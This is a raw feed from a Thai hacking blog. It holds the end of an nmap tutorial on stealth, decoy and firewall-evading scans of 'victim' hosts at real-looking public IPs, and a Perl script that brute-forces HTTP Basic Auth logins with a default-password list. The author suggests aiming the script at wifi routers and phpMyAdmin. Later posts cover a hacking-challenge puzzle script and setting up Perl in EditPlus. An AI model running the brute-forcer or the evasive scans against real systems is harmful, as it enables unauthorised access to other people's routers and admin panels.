แต่เวลาแสกนถ้าคุณมากำหนดเป็นตัวเลขอาจต้องพิมพ์แบ่งช่วงเอาเอง  แต่ถ้าคุณจะแสกน port ทั้งวงแลน คือ แสกนมันทุกเครื่องในวงแลนเลย  เวลาคุณกำหนด IP ก็ต้องใช้คำสั่งกำหนด เป็น 172.16.66.0/24&lt;br /&gt;โดยปรกติ  ถ้าคุณใช้คำสั่ง ping ธรรมดา จะมีการส่ง ICMP ECHO (Type  ออกไปยังเครื่องปลายทางและรอคอย ICMP ECHO_REPLY (Type 0) ส่งกลับมา ถึงแม้  ping จะมีประโยชน์ในการทดสอบว่าเครื่องปลายทางนั้นเปิดอยู่หรือไม่ก็ตาม  แต่มันจะเหมาะกับ Network ขนาดเล็กและขนาดกลางเท่านั้น ซึ่งถ้ามาใช้ในใน  Network ขนาดใหญ่อย่าง Internet มักจะใช้ได้ไม่มีประสิทธิภาพ โดยใช้ –sP  เป็นการ ping scan (กรณีนี้ผมไ้ด้ เอาโปรแกรม nmap มาแตกใส่ไว้ที่ไดร์ฟ C:)&lt;br /&gt;C:&gt;nmap –sP 172.16.66.0/24&lt;br /&gt;คำ  สั่งนี้จะใช้ได้เมื่อคุณได้อยู่ในวง Network เดียวกับคุณ หรือ วงอื่น  ซึ่งจะแสกนวงเดียวกับคุณ IP 172.16.66.0 – 172.16.66.255 หมายถึง คุณต้องมี  IP ที่อยู่ระหว่าง 172.16.66.0 – 172.16.66.255 ถึงจะใช้คำสั่งนี้ได้  เช่นคุณมี IP = 172.16.66.216 สังเกตเลขชุดสุดท้ายที่อยู่หลังจุดให้ดีๆ  อาจเป็นเลขอะไรก็ได้ จาก 1-255 ถึงจะใช้ 0/24 แทน หรือ&lt;br /&gt;C:&gt;nmap –sP 172.16.66.11-172.16.66.20&lt;br /&gt;คำสั่งนี้จะแสกนเครื่องที่อยู่ในวง Network ที่มี IP ระหว่าง 172.16.66.11 - 172.16.66.20&lt;br /&gt;C:&gt;nmap –sP 172.16.66.* หรือ C:&gt;nmap –sP 172.16.66.0/24&lt;br /&gt;คำสั่งนี้จะแสกนเครื่องที่อยู่ในวง Network ที่มี IP 172.16.66.1 ถึง 172.16.66.255&lt;br /&gt;โดย  ปรกติ ถ้าคุณใช้คำสั่ง ping ธรรมดา จะมีการส่ง ICMP ECHO (Type  ออกไปยังเครื่องปลายทางและรอคอย ICMP ECHO_REPLY (Type 0) ส่งกลับมา ถึงแม้  ping จะมีประโยชน์ในการทดสอบว่าเครื่องปลายทางนั้นเปิดอยู่หรือไม่ก็ตาม  แต่มันจะเหมาะกับ Network ขนาดเล็กและขนาดกลางเท่านั้น ซึ่งถ้ามาใช้ในใน  Network ขนาดใหญ่อย่าง Internet มักจะใช้ได้ไม่มีประสิทธิภาพ โดยใช้ –sP  เป็นการ ping scan เพื่อเป็นการตรวจสอบว่ามีเครื่องใดกำลัง logon อยู่&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;nmap –sP 203.118.98.0/24&lt;br /&gt;คำ  สั่งนี้จะใช้ได้เมื่อคุณได้อยู่ในวง Network เดียวกับคุณ หรือ วงอื่น  ซึ่งจะแสกนวงเดียวกับคุณ IP 203.118.98.0 – 203.118.98.255 หมายถึง  คุณต้องมี IP ที่อยู่ระหว่าง 203.118.98.0 – 203.118.98.255  ถึงจะใช้คำสั่งนี้ได้ เช่นคุณมี IP = 203.118.98. 10  สังเกตเลขชุดสุดท้ายที่อยู่หลังจุดให้ดีๆ อาจเป็นเลขอะไรก็ได้ จาก 1-255  หรือจะใช้ 0/24 แทน หรือ&lt;br /&gt;nmap –sP 203.118.98.11-203.118.98.20&lt;br /&gt;คำสั่งนี้จะแสกนเครื่องที่อยู่ในวง Network ที่มี IP ระหว่าง 203.118.98.11 - 203.118.98.20&lt;br /&gt;nmap –sP 203.118.98.* หรือ C:&gt;nmap –sP 203.118.98.0/24&lt;br /&gt;คำสั่งนี้จะแสกนเครื่องที่อยู่ในวง Network ที่มี IP 203.118.98.1 ถึง 203.118.98.255&lt;br /&gt;(เครื่องมือ nmap นี้ จะเป็นการหาแบบละเอียด เมื่อเทียบกับโปรแกรมอื่น แต่อาจใช้เวลานานกว่า)&lt;br /&gt;&lt;br /&gt;เทคนิคการแสกนหลบ เมื่อเครื่องปลายทาง block ICMP&lt;br /&gt;จะ  เป็นการ Ping Sweep ขั้นสูงที่เรียกว่า TCP Ping scan  โดยการใช้พารามิเตอร์ –PT พร้อมกับระบุหมายเลข port ต่างๆเข้าไป  ซึ่งการระบุเลข port  นั้นจะต้องทราบว่าเครื่องส่วนใหญ่นั้นจะต้องเปิดเอาไว้เพื่อติดต่อสื่อสาร  กับเครื่อง&lt;br /&gt;อื่นๆ เช่น http 80 , SMTP 25 , POP 110 , IMAP 143  และอื่นอีกมาก ซึ่งปรกติจะต้องเปิดไว้คือ http 80 ซึ่งอาจทะลุผ่าน firewall  ได้ถ้ามีการกำหนด firewall ได้ไม่ดี&lt;br /&gt;nmap –sP –PT 80 203.118.98.0/24&lt;br /&gt;ตรง  เลข 80 ที่ผมได้ทำสีไว้เป็นการแสกนผ่านทาง http 80 ซึ่งอาจเปลี่ยนเป็นเลข  port อื่นๆได้ตามที่ได้กล่าวมาด้านบนซึ่ง port ต่างๆที่ได้ใส่ไปก็คือการหา  service นั่นเอง SMTP 25 , POP 110 , IMAP 143&lt;br /&gt;nmap –sP –PT 25 203.118.98.0/24 เป็นการหาว่าเครื่องในวงแลนคุณเครื่องไหนเปิด SMTP 25&lt;br /&gt;nmap –sP –PT 110 203.118.98.0/24 เป็นการหาว่าเครื่องในวงแลนคุณเครื่องไหนเปิด POP 110&lt;br /&gt;nmap –sP –PT 143 203.118.98.0/24 เป็นการหาว่าเครื่องในวงแลนคุณเครื่องไหนเปิด IMAP 143&lt;br /&gt;&lt;br /&gt;เทคนิคการแสกนแบบ TCP FIN scan&lt;br /&gt;เทคนิคนี้สามารถที่จะทะลุผ่านไฟล์วอลล์ ส่วนใหญ่ และมีการเก็บผลลัพธ์ไว้ในไฟล์ text&lt;br /&gt;nmap –sF 203.118.98.0/24 –oN output.txt&lt;br /&gt;จาก  บรรทัดบน –sF เป็นการแสกนแบบ Stealth FIN  รายละเอียดให้ดูรูปประเภทการแสกนที่อยู่ช่วงแรกๆ และพารามิเตอร์ –o  เป็นการบันทึกผลลงเป็นไฟล์ ส่วน N หลัง –o ตรง (-oN)  หมายถึงให้บันทึกในรูปแบบที่อ่านเข้าใจได้โดยโปรแกรมจะสร้างไฟล์ output.txt  หรือถ้าคุณต้องการบันทึกเพื่อจะนำไปใช้กับโปรแกรมอื่นๆ ให้ระบุเป็น  พารามิเตอร์ –oM แทน&lt;br /&gt;ผมเหนื่อยแระ ขี้เกียจทำเป็็นหัวข้อ&lt;br /&gt;&lt;br /&gt;คุณ  อาจใช้ Option + Parameter อื่นๆ ผสมผสานกันได้  โดยประยุกต์จากตัวอย่างต่างๆที่ผมได้ทำเป็นตัวอย่างดังที่เห็นอยู่  ซึ่งจะทำให้การใช้งานเครื่องมือนี้ มีประสิทธิภาพมากขึ้น  ในการแสกนหาเครื่องเหยื่อ ในโปรแกรม Nmap ได้อย่างลงตัวกับสถานะการณ์  (แต่ต้องหัดเอาเองบ้างนะ)  ซึ่งผลจากการแสกนต่างๆนั้นรับรองได้้เลยว่าโปรแกรมอื่นคงทำไม่ได้อย่าง  โปรแกรมนี้ แต่มันก็ยากในการใช้งาน เพราะ Option  ในตัวโปรแกรมช่างเยอะเหลือเกิน จะถอดใจตอนนี้ก็ยังไม่สายนะ  ดูชื่อเว็บที่ผมตั้งสิ กรรมกรไซเบอร์ มันก็ต้องออกแรงกันหน่อย  และสำหรับคนที่ยังไม่ถอดใจ ผมก็จะมีตัวอย่าง และ Tip เด็ดๆให้อีกเล็กๆน้อยๆ&lt;br /&gt;Nmap  มีความสามารถในการหลอก firewall เครื่องปลายทาง  โดยการส่งแพ็คเก็ตปลอมจำนวนมากที่ไม่เกี่ยวข้องกับการแสกนเข้าไปในระบบ  ด้วยการใช้พารามิเตอร์ –D และขณะเดียวกันก็ทำการแสกนจริงๆไปด้วย  และด้วยการเพิ่มความยากในการตรวจจับ สามารถปลอม IP ADDRESS ของ server  อื่นที่มีอยู่จริง แต่ถ้า IP ADDRESS ที่ปลอมนั้นไม่มีอยู่จริงๆ  การแสกนของคุณจะเป็นการทำ SYN Flood ซึ่งไปเข้าเงื่อนไขการโจมตีระบบด้วย  Denial of Service (การทำให้ Network ล่ม คือทำให้การรับส่งข้อมูลใน  Network คับคั่งหรือที่เห็นง่ายๆก็คือ เน็ตจะช้า หรือเครื่องอาจหลุดจาก  Internet ได้) วิธีดูจากข้างล่างนี้&lt;br /&gt;nmap –sS 203.118.98.110 –D 203.114.234.5&lt;br /&gt;-sS  เป็นการแสกนแบบ TCP SYN scan 192.16.81.110 เป็น IP  เครื่องเป้าหมายที่คุณจะแสกน และส่วนที่ตามหลัง Option –D คือ IP  203.114.234.5 เป็น IP Server ของอะไรก็ได้เช่น yahoo , sanook ซึ่งจะหา IP  นี้ได้โดยการ เปิด ดอส ขึ้นมาแล้วพิมพ์ c:\ping &lt;!-- m --&gt;&lt;a class="postlink" href="http://www.yahoo.com/"&gt;http://www.yahoo.com/&lt;/a&gt;&lt;!-- m --&gt;  เท่านี้คุณก็จะได้ IP Server จริงๆ ที่จะนำมาใช้ในคำสั่งนี้ แต่ถ้าคุณเอา  ไอพีมามั่วๆ จะเป็น เข้าเงื่อนไขการโจมตีระบบด้วย Denial of Service&lt;br /&gt;nmap –O 203.121.148.18&lt;br /&gt;คำ  สั่งบนนี้ จะเป็นการหาข้อมูลจากเครื่องที่ มี IP 203.121.148.18  ว่ามีการเปิดที่ Port ไหนบ้าง และใช้ระบบปฏิบัติการอะไร  แต่การแสกนอาจใช้เวลานาน ถ้าคนที่ใจร้อนอาจหันไปพึ่งโปรแกรมอื่น  ผมก็ไม่ว่าอะไรครับ แต่ขอบอก โปรแกรมนี้  แสกนได้แม่นยำกว่าโปรแกรมอื่นอยู่มากทีเดียว&lt;br /&gt;nmap –p80 –O 203.121.148.18&lt;br /&gt;คำสั่งบนนี้ เป็นการใช้ option –p เข้ามาช่วยหา ในกรณีที่เครื่องเหยื่อได้เปิด port 80 เอาไว้&lt;br /&gt;&lt;br /&gt;การประยุกต์ใช้งานอื่นๆ&lt;br /&gt;nmap –sS –p 25,80,135-139,455 –n 203.118.98.110&lt;br /&gt;จาก  คำสั่งบนนี้ เป็นการแสกนไปที่เครื่อง 203.118.98.110 ไปที่ port 25 , port  80 , port 135 , 136 ,137 , 138 ,139 , port 455 ว่าเปิดอยู่หรือไม่&lt;br /&gt;nmap –sS –O 203.118.98.110&lt;br /&gt;จะ  เห็นว่าคำสั่งนี้ คลอบคลุมกว่า 2 คำสั่งด้านบน ยิ่งถ้าคุณได้เพิ่ม Option  –p แล้วใส่ port ที่ต้องการแสกนได้อีกด้วยครับ แต่บางที Option –sS อาจหลบ  Firewall ไม่ได้&lt;br /&gt;Option –T 4 เป็นอีก option ที่น่าสนใจเป็นอย่างมาก  คุณลองใช้ option ลงไปร่วมกับ option อื่นได้  จะช่วยให้การแสกนนั้นรวดเร็วยิ่งขึ้นครับเช่น&lt;br /&gt;nmap –sS –O –T 4 203.118.98.110&lt;br /&gt;nmap –sP –PT80 –T 4 203.118.98.0/24&lt;br /&gt;การแสกนตรวจประเภท Firewall&lt;br /&gt;nmap –sW 203.118.98.110 และคำสั่ง nmap –sA 203.118.98.110&lt;br /&gt;คำ  สั่งบนนี้ เป็นการตรวจสอบ Firewall ว่าเป็นประเภทไหน ในเครื่องที่มี IP  203.118.98.110 ทั้ง 2 Option นี้อาจเป็นตัวที่ใช้เจาะเครื่องที่มี  firewall ป้องกัน เพื่อที่จะดูว่า จริงๆแล้วเปิด port อะไรบ้าง  เพราะเราจะสามารถรู้ ระบบปฏิบัติการในเครื่องที่เราแสกนได้ จาก port  ที่ได้เปิด&lt;br /&gt;ในแต่ละเครื่อง ใน Internet คุณไม่สามารถไปดูที่หน้าจอได้  จึงยากต่อการรู้ว่า เครื่องนั้นๆ ใช้วินโดว์หรือ unix หรือ Linux  เพราะฉนั้น คุณต้องดู port จากเครื่องเป้าหมาย แต่โปรแกรมแสกนธรรมดา  จะไม่สามารถแสกน port ได้จากเครื่องที่ได้ติดตั้ง Firewall (แต่จริงๆ  ก็เปิด port อยู่) จึงต้องใช้โปรแกรม nmap แสกน เพราะสามารถหลบ Firewall  ได้&lt;br /&gt;Window Port Default ข้างล่างนี้เป็น port มาตรฐาน ที่ Win มักจะเปิด และเราจะรู้ได้ หรือเดาได้ว่าใช้อะไร&lt;br /&gt;Win 98/me 139&lt;br /&gt;Win 2000/xp 139 – 445&lt;br /&gt;Win 2000 Server 53 – 88 - 139 – 445&lt;br /&gt;ส่วน UNIX / LINUX คุณจะเห็นความแตกต่าง port ที่เปิดเองครับ จะไม่เหมือน Window แน่นอนครับ&lt;br /&gt;&lt;br /&gt;nmap –I ....IP....&lt;br /&gt;อีก option ที่คุณน่าลองดู&lt;br /&gt;&lt;br /&gt;Credit : Neverdie_bo&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-6822403873905388789?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/6822403873905388789/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/09/start-for-nmap.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/6822403873905388789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/6822403873905388789'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/09/start-for-nmap.html' title='Start for Nmap :]'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-5374663756836976821</id><published>2010-05-11T04:16:00.000+07:00</published><updated>2010-05-11T04:34:09.088+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Authentication'/><category scheme='http://www.blogger.com/atom/ns#' term='window98se'/><category scheme='http://www.blogger.com/atom/ns#' term='perl.script'/><category scheme='http://www.blogger.com/atom/ns#' term='Brute'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Perl : Brute Authentication</title><content type='html'>&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;&lt;br /&gt;วันนี้เอา script perl ดีๆ มาฝากอีกอัน ห้าห้า จากพี่เล็ก &lt;span style="color: rgb(255, 102, 0);"&gt;window98se&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:tahoma;font-size:100%;"  &gt; @thd&lt;/span&gt;&lt;span style=";font-family:tahoma;font-size:100%;"  &gt; (มหาเทพ perl)&lt;br /&gt;&lt;br /&gt;Bruth.pl&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#############################################&lt;br /&gt;#  !/usr/bin/perl&lt;br /&gt;#  Brute Authentication  [by windows98SE]&lt;br /&gt;#  Copyright (c) 2010&lt;br /&gt;#&lt;br /&gt;#  This software is open source, licensed under the GNU General Public&lt;br /&gt;#  License, version 2.&lt;br /&gt;#  Basically, this means that you're allowed to modify and distribute&lt;br /&gt;#  this software. However, if you distribute modified versions, you MUST&lt;br /&gt;#  also distribute the source code.&lt;br /&gt;#  See http://www.gnu.org/licenses/gpl.html for the full license.&lt;br /&gt;&lt;br /&gt;use Socket;&lt;br /&gt;use IO::Socket;&lt;br /&gt;use IO::Socket::INET;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;&lt;br /&gt;my $target = '192.168.1.1';&lt;br /&gt;my @userlist = ('admin');&lt;br /&gt;my @passlist = readFile("pass.txt");&lt;br /&gt;my $outfile = 'hack.txt';&lt;br /&gt;&lt;br /&gt;my %result;&lt;br /&gt;print "[+] Start Scan..\n";&lt;br /&gt;scan($target);&lt;br /&gt;print "[+] Done.\n";&lt;br /&gt;system ("pause");&lt;br /&gt;&lt;br /&gt;sub scan {&lt;br /&gt;my ($target) = @_;&lt;br /&gt;foreach my $user (@userlist){&lt;br /&gt;foreach my $pass (@passlist){&lt;br /&gt;print "[+] Test $pass ..\n";&lt;br /&gt;my $browser = LWP::UserAgent-&gt;new();&lt;br /&gt;my $auth = HTTP::Request-&gt;new(GET=&gt; 'http://'.$target);&lt;br /&gt;$auth-&gt;authorization_basic($user,$pass);&lt;br /&gt;my $result = $browser-&gt;request($auth)-&gt;status_line;&lt;br /&gt;if($result =~ m/200/ig){&lt;br /&gt;$result{$target} = "$user:$pass";&lt;br /&gt;print "[+] Found $target pass is [$user:$pass] ..\n";&lt;br /&gt;open(File, "&gt;&gt;", $outfile);&lt;br /&gt;print File "[+] $target ($result{$target})\n";&lt;br /&gt;close(File);&lt;br /&gt;print "\n\n[+] $target ($result{$target})\n\n";&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub readFile{&lt;br /&gt;my @var;&lt;br /&gt;my ($file) = @_;&lt;br /&gt;open FILE, "&lt;:utf8", "$file" or die "[+] Can't open $file : $!";   while(&lt;file&gt;){&lt;br /&gt;my $line = $_;&lt;br /&gt;$line =~ s/\r|\n//g;&lt;br /&gt;next if (length($line) == 0);&lt;br /&gt;push(@var,$line);&lt;br /&gt;}&lt;br /&gt;close FILE;&lt;br /&gt;return(@var);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/file&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;ต่อไปก็ pass.txt&lt;br /&gt;&lt;blockquote&gt;TTT&lt;br /&gt;ttt&lt;br /&gt;tot&lt;br /&gt;TOT&lt;br /&gt;admin&lt;br /&gt;1234&lt;br /&gt;123456&lt;br /&gt;123456789&lt;br /&gt;tot1234&lt;br /&gt;123456123456&lt;br /&gt;&lt;br /&gt;1234admin&lt;br /&gt;synnet&lt;br /&gt;tech&lt;br /&gt;ANYCOM&lt;br /&gt;ILMI&lt;br /&gt;&lt;br /&gt;PASSWORD&lt;br /&gt;Password&lt;br /&gt;password&lt;br /&gt;&lt;br /&gt;adminttd&lt;br /&gt;comcomcom&lt;br /&gt;monitor&lt;br /&gt;manager&lt;br /&gt;security&lt;br /&gt;recovery&lt;br /&gt;Wireless&lt;br /&gt;&lt;br /&gt;volition&lt;br /&gt;3ware&lt;br /&gt;anicust&lt;br /&gt;0&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;สามารถเอาไปทำได้หลายอย่างนะ แต่ต้องมีหน้า Authentication Login  ไม่งั้นต้องแก้สคริป สามารถประยุกต์ได้นะ 555+ hack wifi , hack phpmyadmin&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;@GokU คงใช้กันเป็นน ห้าห้า&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-5374663756836976821?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/5374663756836976821/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/05/perl-brute-authentication.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/5374663756836976821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/5374663756836976821'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/05/perl-brute-authentication.html' title='Perl : Brute Authentication'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-3974800961700069709</id><published>2010-04-22T23:54:00.001+07:00</published><updated>2010-04-23T22:50:46.260+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hackerskill.net'/><category scheme='http://www.blogger.com/atom/ns#' term='perl.script'/><title type='text'>Perl Code :)</title><content type='html'>&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;ปิดเทอมมมม วันๆ ไม่ได้ทำไร นั่งหน้าคอม เขียนโค๊ตตาลายยย&lt;br /&gt;&lt;br /&gt;ได้เข้าไปเล่น mission ใน &lt;a href="http://hackerskill.net/"&gt;hackerskill.net&lt;/a&gt;  ของเค้าโหดจิง ห้าห้า (แอบโฆษณา) :)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#!/usr/local/bin/perl&lt;br /&gt;open(fp,"goku.txt");&lt;br /&gt;@dat=&lt;fp&gt;;&lt;br /&gt;close(fp);&lt;br /&gt;foreach my $ssdata (@dat) {&lt;br /&gt;@tmp=split /\n/,$ssdata;&lt;br /&gt;push(@data,@tmp);&lt;br /&gt;}&lt;br /&gt;my $ans=0;&lt;br /&gt;foreach my $sdata (@data) {&lt;br /&gt;$sdata=~ s/IIV/ \+3/ig;&lt;br /&gt;$sdata=~ s/IV/ \+4/ig;&lt;br /&gt;$sdata=~ s/IIX/ \+8/ig;&lt;br /&gt;$sdata=~ s/IX/ \+9/ig;&lt;br /&gt;$sdata=~ s/IIL/ \+58/ig;&lt;br /&gt;$sdata=~ s/IL/ \+59/ig;&lt;br /&gt;$sdata=~ s/IIC/ \+98/ig;&lt;br /&gt;$sdata=~ s/IC/ \+99/ig;&lt;br /&gt;$sdata=~ s/IID/ \+498/ig;&lt;br /&gt;$sdata=~ s/ID/ \+499/ig;&lt;br /&gt;$sdata=~ s/IIM/ \+998/ig;&lt;br /&gt;$sdata=~ s/IM/ \+999/ig;&lt;br /&gt;$sdata=~ s/XL/ \+40/ig;&lt;br /&gt;$sdata=~ s/XC/ \+90/ig;&lt;br /&gt;$sdata=~ s/CD/ \+400/ig;&lt;br /&gt;$sdata=~ s/CM/ \+900/ig;&lt;br /&gt;$sdata=~ s/III/ \+3/ig;&lt;br /&gt;$sdata=~ s/II/ \+2/ig;&lt;br /&gt;$sdata=~ s/I/ \+1/ig; &lt;br /&gt;$sdata=~ s/V/ \+5/ig;&lt;br /&gt;$sdata=~ s/X/ \+10/ig;&lt;br /&gt;$sdata=~ s/L/ \+50/ig;&lt;br /&gt;$sdata=~ s/C/ \+100/ig;&lt;br /&gt;$sdata=~ s/D/ \+500/ig;&lt;br /&gt;$sdata=~ s/M/ \+1000/ig;&lt;br /&gt;$b=eval($sdata);&lt;br /&gt;$ans=$ans+$b;&lt;br /&gt;}&lt;br /&gt;print"Output :: $ans\n";&lt;br /&gt;&lt;/fp&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;@GokU ห้าห้า 1 ใน mission prog :)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-3974800961700069709?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/3974800961700069709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/04/test.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/3974800961700069709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/3974800961700069709'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/04/test.html' title='Perl Code :)'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-5358880603198762866</id><published>2010-04-20T15:42:00.000+07:00</published><updated>2010-04-20T16:04:50.453+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='EditPlus'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='compile'/><title type='text'>Perl : Compile on EditPlus</title><content type='html'>&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;เห็นใน Google มี Compile c , java on EditPlus เลยสงสัยว่า perl จะทำได้ไหม searchไปก็เจอวิธีทำ ฮาๆ โง่มาตั้งนาน T^T&lt;br /&gt;&lt;p&gt;ขั้นแรกก็ต้องทำการ download package สำหรับทำการ compile และรัน&lt;a href="http://www.thaicoding.net/category/perl/"&gt;ภาษา perl&lt;/a&gt; ในเครื่องเราก่อนโดยให้ไป download ได้ที่ &lt;a href="http://downloads.activestate.com/ActivePerl%20%E0%B9%82%E0%B8%94%E0%B8%A2"&gt;http://downloads.activestate.com/ActivePerl   โดย&lt;/a&gt;ให้เลือกเวอร์ชันที่เราต้องการและเลือกให้ตรงกับ รุ่นของ cpu   และระบบปฏิบัติการของเรา เมื่อเราทำการ download   เสร็จแล้วก็ทำการติดตั้งตามรูป &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.thaicoding.net/wp-content/uploads/2010/04/perl1.jpg"&gt;&lt;img title="perl1" src="http://www.thaicoding.net/wp-content/uploads/2010/04/perl1.jpg" alt="active perl, perl, ภาษา perl, perl ide, perl compile" width="503" height="394" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.thaicoding.net/wp-content/uploads/2010/04/per2.jpg"&gt;&lt;img title="per2" src="http://www.thaicoding.net/wp-content/uploads/2010/04/per2.jpg" alt="perl, perl ide, active perl, ภาษา perl, หัดเขียน perl" width="503" height="394" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;ทำการเลือก directory ที่เราต้องการจะลง&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.thaicoding.net/wp-content/uploads/2010/04/perl3.jpg"&gt;&lt;img title="perl3" src="http://www.thaicoding.net/wp-content/uploads/2010/04/perl3.jpg" alt="perl, perl ide, active perl, ภาษา perl, หัดเขียน perl" width="503" height="394" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Set ค่าไฟล์และ virtual directory&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.thaicoding.net/wp-content/uploads/2010/04/perl4.jpg"&gt;&lt;img title="perl4" src="http://www.thaicoding.net/wp-content/uploads/2010/04/perl4.jpg" alt="perl, perl ide, active perl, ภาษา perl, หัดเขียน perl" width="503" height="394" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;รอการติดตั้ง&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.thaicoding.net/wp-content/uploads/2010/04/perl5.jpg"&gt;&lt;img title="perl5" src="http://www.thaicoding.net/wp-content/uploads/2010/04/perl5.jpg" alt="" width="503" height="394" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;ติดตั้งเสร็จสมบูรณ์เมื่อติดตั้งเสร็จแล้วเราจะสามารถสั่งผ่าน command   line โดยใช้คำสั่ง &lt;a href="http://www.thaicoding.net/category/perl/"&gt;perl&lt;/a&gt; ตามด้วยชื่อไฟล์แต่ถ้าหากรู้สึกลำบากก็ทำการตั้งค่าใน editplus ได้ดังนี้&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.thaicoding.net/wp-content/uploads/2010/04/perl6.jpg"&gt;&lt;img title="perl6" src="http://www.thaicoding.net/wp-content/uploads/2010/04/perl6.jpg" alt="set editplus activeperl, perl, perl ide" width="486" height="393" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.thaicoding.net/wp-content/uploads/2010/04/perl7.jpg"&gt;&lt;img title="perl7" src="http://www.thaicoding.net/wp-content/uploads/2010/04/perl7.jpg" alt="result run perl, run perl, run perl editplus" width="559" height="328" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;เมื่อลองรันดูก็จะเห็นผลดังรูป โดยการรันก็เลือกที่ tool -&amp;gt; perl&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;Ref : &lt;a href="http://http//www.thaicoding.net/%E0%B9%80%E0%B8%95%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%A1%E0%B8%AD%E0%B8%B8%E0%B8%9B%E0%B8%81%E0%B8%A3%E0%B8%93%E0%B9%8C%E0%B9%83%E0%B8%99%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%80%E0%B8%A3%E0%B8%B4%E0%B9%88/"&gt;Thaicoding.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;@GokU โง่ ใช้ไม่เป็นมาตั้งนาน +.+"&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=";font-family:tahoma;font-size:100%;"  